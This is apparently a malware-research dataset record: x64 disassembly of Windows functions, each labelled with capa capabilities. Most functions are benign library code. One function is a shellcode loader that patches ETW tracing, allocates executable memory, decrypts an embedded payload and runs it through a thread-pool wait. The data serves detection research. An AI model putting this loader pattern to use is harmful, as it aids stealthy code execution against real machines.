joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14027db94
Capabilities:
Log keystrokes via polling
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, rdx
mov rsi, rcx
cmp dword [rdx + 8], 0x100
jne 0x14027dcca
mov ebx, dword [rdx + 0x10]
mov ecx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14027dcca
cmp ebx, 0x43
je 0x14027dbe2
cmp ebx, 0x2d
jne 0x14027dcca
mov rcx, qword [rsi + 0x40]
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14027dcca
call qword [sym.imp.USER32.dll_EmptyClipboard]
nop
call fcn.14015432c
mov rcx, rax
test rax, rax
je 0x14027dce9
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
call qword [case.0x140179672.0]
add rax, 0x18
mov qword [rsp + 0x48], rax
movzx eax, byte [rsi + 0x196]
movzx r9d, byte [rsi + 0x195]
movzx r8d, byte [rsi + 0x194]
mov dword [rsp + 0x20], eax
lea rdx, str.RGB__d___d___d_
lea rcx, [rsp + 0x48]
call fcn.140154f8c
mov rbx, qword [rsp + 0x48]
mov eax, dword [rbx - 0x10]
inc eax
movsxd rdx, eax
add rdx, rdx
mov ecx, 0x2000
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbp, rax
test rax, rax
je 0x14027dca2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14027dca2
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbp
mov ecx, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14027dcca
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x140179672.0]
mov rdx, rdi
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
jmp method.CDialogEx.virtual_536
mov ecx, 0x80004005
call fcn.140150f7c
int3
Function at 0x14029eef4
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov esi, edx
mov rdi, rcx
xor ebp, ebp
cmp edx, 0x79
jne 0x14029ef22
lea ecx, [rdx - 0x69]
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x14029ef27
cmp esi, 0x5d
jne 0x14029ef4c
or eax, 0xffffffff
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x54], eax
mov r8, qword [rsp + 0x50]
mov rdx, rdi
mov rcx, rdi
call fcn.14029ea9c
mov eax, 1
jmp 0x14029efee
mov edx, esi
mov rcx, qword [rdi + 0x1558]
call fcn.14029a57c
test eax, eax
jne 0x14029ef42
cmp qword [rdi + 0x1560], rbp
je 0x14029efa8
lea rax, vtable.CMFCDisableMenuAnimation.0
mov qword [rsp + 0x20], rax
xor ecx, ecx
call fcn.1401ae100
mov ebx, eax
mov dword [rsp + 0x28], eax
mov dword [0x14037c00c], ebp
mov rcx, qword [rdi + 0x1560]
mov rdx, qword [rcx]
mov rax, qword [rdx + 0x1b8]
mov edx, esi
call qword [case.0x140179672.0]
nop
mov dword [0x14037c00c], ebx
jmp 0x14029efee
cmp qword [rdi + 0x1580], rbp
je 0x14029efec
lea rax, vtable.CMFCDisableMenuAnimation.0
mov qword [rsp + 0x20], rax
xor ecx, ecx
call fcn.1401ae100
mov ebx, eax
mov dword [rsp + 0x28], eax
mov dword [0x14037c00c], ebp
mov rcx, qword [rdi + 0x1580]
mov rdx, qword [rcx]
mov rax, qword [rdx + 0x1d0]
mov edx, esi
call qword [case.0x140179672.0]
nop
jmp 0x14029efa0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1402c7310
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp dword [rdx + 8], 0x100
mov rdi, rdx
mov rbx, rcx
jne 0x1402c741e
cmp qword [rdx + 0x10], 9
je 0x1402c7354
cmp qword [rdx + 0x10], 0x1b
jne 0x1402c73a8
call fcn.14015cf70
test rax, rax
je 0x1402c73a8
mov rcx, rbx
call fcn.14015cf70
jmp 0x1402c7396
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetParent]
mov rcx, rax
call fcn.14015c95c
test rax, rax
je 0x1402c73a8
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.USER32.dll_GetParent]
mov rcx, rax
call fcn.14015c95c
mov rdx, qword [rbx + 0x40]
xor r8d, r8d
mov rcx, qword [rax + 0x40]
call qword [sym.imp.USER32.dll_GetNextDlgTabItem]
mov rcx, rax
call fcn.14015c95c
mov rcx, rax
call fcn.140162fd8
mov eax, 1
jmp 0x1402c7429
call qword [sym.imp.USER32.dll_GetFocus]
mov rcx, rax
call fcn.14015c95c
cmp rax, rbx
jne 0x1402c741e
mov ecx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1402c741e
mov rax, qword [rdi + 0x10]
cmp rax, 0x2e
je 0x1402c7417
cmp rax, 0x43
je 0x1402c7410
cmp rax, 0x56
je 0x1402c73f9
cmp rax, 0x58
je 0x1402c73f2
cmp rax, 0x5a
jne 0x1402c741e
lea edx, [rax + 0x6d]
jmp 0x1402c73fe
mov edx, 0x300
jmp 0x1402c73fe
mov edx, 0x302
mov rcx, qword [rbx + 0x40]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.USER32.dll_SendMessageW]
jmp 0x1402c739e
mov edx, 0x301
jmp 0x1402c73fe
mov edx, 0x303
jmp 0x1402c73fe
mov rdx, rdi
mov rcx, rbx
call fcn.14017a958
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1402d89d0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x14036e4c0]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1402d8a0c
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.1401509c4
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x1402d8ac8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x1402d8b2e
test ebx, ebx
jne 0x1402d8b2e
lea ecx, [rax + 2]
call fcn.1401509c4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.140150080
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret

Function at 0x1402d8f10
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, ecx
mov dword [rsp + 0x60], 0
xor ecx, ecx
mov dword [rsp + 0x68], 2
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1402d8f72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1402d8f72
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x1402d8f72
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x1402d8f72
cmp dword [rdx + 0x84], 0xe
jbe 0x1402d8f72
cmp dword [rdx + 0xf8], 0
je 0x1402d8f72
mov ecx, ebx
call fcn.1402d8dd0
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x14037c5c8]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1402d8c60
cmp dword [rsp + 0x60], 0
jne 0x1402d8fb5
mov ecx, ebx
call fcn.1402d8d90
int3
add rsp, 0x40
pop rbx
ret
Function at 0x1402d9000
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov ebx, ecx
xor ecx, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1402d905c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1402d905c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1402d905c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1402d905c
cmp dword [rcx + 0x84], 0xe
jbe 0x1402d905c
cmp dword [rcx + 0xf8], 0
je 0x1402d905c
mov ecx, ebx
call fcn.1402d8dd0
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x14037c5c8]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1402d8c60
cmp dword [rsp + 0x60], 0
jne 0x1402d909f
mov ecx, ebx
call fcn.1402d8d90
int3
add rsp, 0x40
pop rbx
ret

Function at 0x1402d95d0
Capabilities:
Get disk information

Disassembly:
push rbp
sub rsp, 0x250
mov rax, qword [0x14036e4c0]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x14033b178]
mov rbp, rcx
call sub.msvcrt.dll_wcspbrk
test rax, rax
je 0x1402d9791
mov qword [rsp + 0x268], rbx
xor ebx, ebx
mov qword [rsp + 0x270], rsi
mov qword [rsp + 0x278], rdi
call sub.msvcrt.dll__errno
mov esi, dword [rax]
call sub.msvcrt.dll__errno
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], ebx
call sub.msvcrt.dll__wfullpath
mov rdi, rax
test rax, rax
je 0x1402d964f
call sub.msvcrt.dll__errno
mov dword [rax], esi
jmp 0x1402d9680
call sub.msvcrt.dll__errno
cmp dword [rax], 0x22
jne 0x1402d976f
call sub.msvcrt.dll__errno
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], esi
call sub.msvcrt.dll__wfullpath
mov rbx, rax
mov rdi, rax
test rax, rax
je 0x1402d976f
mov rax, 0xffffffffffffffff
mov rcx, rax
nop word [rax + rax]
inc rcx
cmp word [rdi + rcx*2], 0
jne 0x1402d9690
cmp rcx, 3
je 0x1402d9755
inc rax
cmp word [rdi + rax*2], 0
jne 0x1402d96a4
cmp rax, 5
jb 0x1402d976f
movzx eax, word [rdi]
cmp ax, 0x5c
je 0x1402d96cb
cmp ax, 0x2f
jne 0x1402d976f
movzx eax, word [rdi + 2]
cmp ax, 0x5c
je 0x1402d96df
cmp ax, 0x2f
jne 0x1402d976f
movzx eax, word [rdi + 4]
cmp ax, 0x5c
je 0x1402d976f
cmp ax, 0x2f
je 0x1402d976f
movzx eax, word [rdi + 6]
lea rcx, [rdi + 6]
test ax, ax
je 0x1402d976f
cmp ax, 0x5c
je 0x1402d9719
cmp ax, 0x2f
je 0x1402d9719
movzx eax, word [rcx + 2]
add rcx, 2
test ax, ax
jne 0x1402d9700
test ax, ax
je 0x1402d976f
movzx eax, word [rcx + 2]
add rcx, 2
test ax, ax
je 0x1402d976f
nop dword [rax + rax]
cmp ax, 0x5c
je 0x1402d9749
cmp ax, 0x2f
je 0x1402d9749
movzx eax, word [rcx + 2]
add rcx, 2
test ax, ax
jne 0x1402d9730
test ax, ax
je 0x1402d9755
cmp word [rcx + 2], 0
jne 0x1402d976f
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov rcx, rbx
cmp eax, 1
jbe 0x1402d9772
call fcn.1402d88b5
mov al, 1
jmp 0x1402d9779
mov rcx, rbx
call fcn.1402d88b5
xor al, al
mov rsi, qword [rsp + 0x270]
mov rbx, qword [rsp + 0x268]
mov rdi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140150080
add rsp, 0x250
pop rbp
ret
Function at 0x140002630
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000267a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000267a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000267a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000267a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000267a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000267c
xor al, al
add rsp, 0x28
ret

Function at 0x1405a9058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405a91df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405a9089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405a906f
add dl, dl
jne 0x1405a9096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405a90f6
xor eax, eax
add dl, dl
jne 0x1405a90a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405a91ad
add dl, dl
jne 0x1405a90b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405a90c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405a90d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405a90dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405a90ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405a907e
mov eax, 1
add dl, dl
jne 0x1405a9106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405a9113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405a90fb
sub eax, ebx
mov ebx, 1
jne 0x1405a914c
mov ecx, 1
add dl, dl
jne 0x1405a912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405a913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405a9123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405a907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405a9168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405a9175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405a915d
cmp eax, 0x7d00
jae 0x1405a919b
cmp eax, 0x500
jb 0x1405a9196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405a907e
cmp eax, 0x7f
ja 0x1405a919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405a907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405a91d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405a907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001662
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait
Execute shellcode via indirect call
Patch event tracing for windows function

Disassembly:
push rbp
mov eax, 0x17c60
call fcn.140002920
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x17bb4], 0
movabs rax, 0x27744d17fdf690f1
movabs rdx, 0x46c682fe497e3689
mov qword [rbp + 0x17ba0], rax
mov qword [rbp + 0x17ba8], rdx
lea rax, [rbp - 0x60]
lea rdx, [0x140004030]
mov ecx, 0x17c00
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x17bdc], 0x17c00
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.EtwEventWrite
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x17bd0], rax
lea rdx, [rbp + 0x17bb4]
mov rax, qword [rbp + 0x17bd0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x17bd0]
mov r8d, 4
lea rdx, [0x140004018]
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp + 0x17bb4]
lea rcx, [rbp + 0x17bb4]
mov rax, qword [rbp + 0x17bd0]
mov r9, rcx
mov r8d, edx
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rcx, [rbp + 0x17ba0]
mov edx, dword [rbp + 0x17bdc]
lea rax, [rbp - 0x60]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.oXMYPdOo_char__unsigned_int__char__unsigned_long_long_
mov r9d, 0
mov r8d, 1
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x17bc8], rax
mov r9d, 0x10
lea r8, str.ZBUYWmkWUIWQqlZ
mov edx, 0xc
lea rax, str._f___f_a
mov rcx, rax
call sym.BzoSFTAhKBY_char__int__char__unsigned_long_long_
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str._f___f_a
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x14001f030], rax
mov rax, qword [0x14001f030]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x17c00
mov ecx, 0
call rax
mov qword [rbp + 0x17bc0], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x17bc0]
mov r8d, 0x17c00
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x17bc0]
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
call rax
mov qword [rbp + 0x17bb8], rax
mov rdx, qword [rbp + 0x17bc8]
mov rax, qword [rbp + 0x17bb8]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
call rax
mov rax, qword [rbp + 0x17bc8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x17c60
pop rbp
ret
Function at 0x1400e270e
Capabilities:
Write file on windows

Disassembly:
jmp 0x140278a50
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x14032de40]
xor rax, rbp
mov qword [rbp + 0x170], rax
lea rcx, [0x14035365b]
call fcn.1400e27f9
mov rax, qword [rbp + 0x1a0]
cmp qword [rax + 0x68], 0
je 0x140278ab6
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140278abd
mov al, 1
jmp 0x140278c2d
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x158], rax
call fcn.1400df36f
mov dword [rbp + 0x160], eax
mov edx, dword [rbp + 0x160]
mov rcx, qword [rbp + 0x1a0]
call qword [rbp + 0x158]
mov dword [rbp + 0x164], eax
call fcn.1400df36f
mov dword [rbp + 0x168], eax
mov edx, dword [rbp + 0x164]
mov ecx, dword [rbp + 0x168]
call fcn.1400e18ef
movzx eax, al
test eax, eax
je 0x140278b20
xor al, al
jmp 0x140278c2d
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1a0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x160], eax
cmp dword [rbp + 0x160], 0
je 0x140278b93
cmp dword [rbp + 0x160], 1
je 0x140278b9e
cmp dword [rbp + 0x160], 3
je 0x140278c1c
jmp 0x140278c2b
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140278bee
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140278bee
xor al, al
jmp 0x140278c2d
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140278c09
mov dword [rbp + 0x154], 1
jmp 0x140278c13
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x140278c2d
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140278c2d
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140304250]
call fcn.1400e1bdd
mov rax, rdi
mov rcx, qword [rbp + 0x170]
xor rcx, rbp
call fcn.1400e02a6
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x1417ca058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1417ca1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1417ca089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417ca06f
add dl, dl
jne 0x1417ca096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417ca0f6
xor eax, eax
add dl, dl
jne 0x1417ca0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417ca1ad
add dl, dl
jne 0x1417ca0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417ca0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417ca0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417ca0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1417ca0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1417ca07e
mov eax, 1
add dl, dl
jne 0x1417ca106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417ca113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417ca0fb
sub eax, ebx
mov ebx, 1
jne 0x1417ca14c
mov ecx, 1
add dl, dl
jne 0x1417ca12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1417ca13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417ca123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1417ca07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1417ca168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1417ca175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417ca15d
cmp eax, 0x7d00
jae 0x1417ca19b
cmp eax, 0x500
jb 0x1417ca196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1417ca07e
cmp eax, 0x7f
ja 0x1417ca19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1417ca07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1417ca1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1417ca07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [str.xP_n_]
mov rcx, qword [0x14007f490]
xor edx, edx
mov dword [rax], 1
mov rax, qword [str.tP_n_]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [str.pP_n_]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x14007f4d0]
mov dword [0x1400a500c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14007f5c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14007f5a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14007e9a0]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret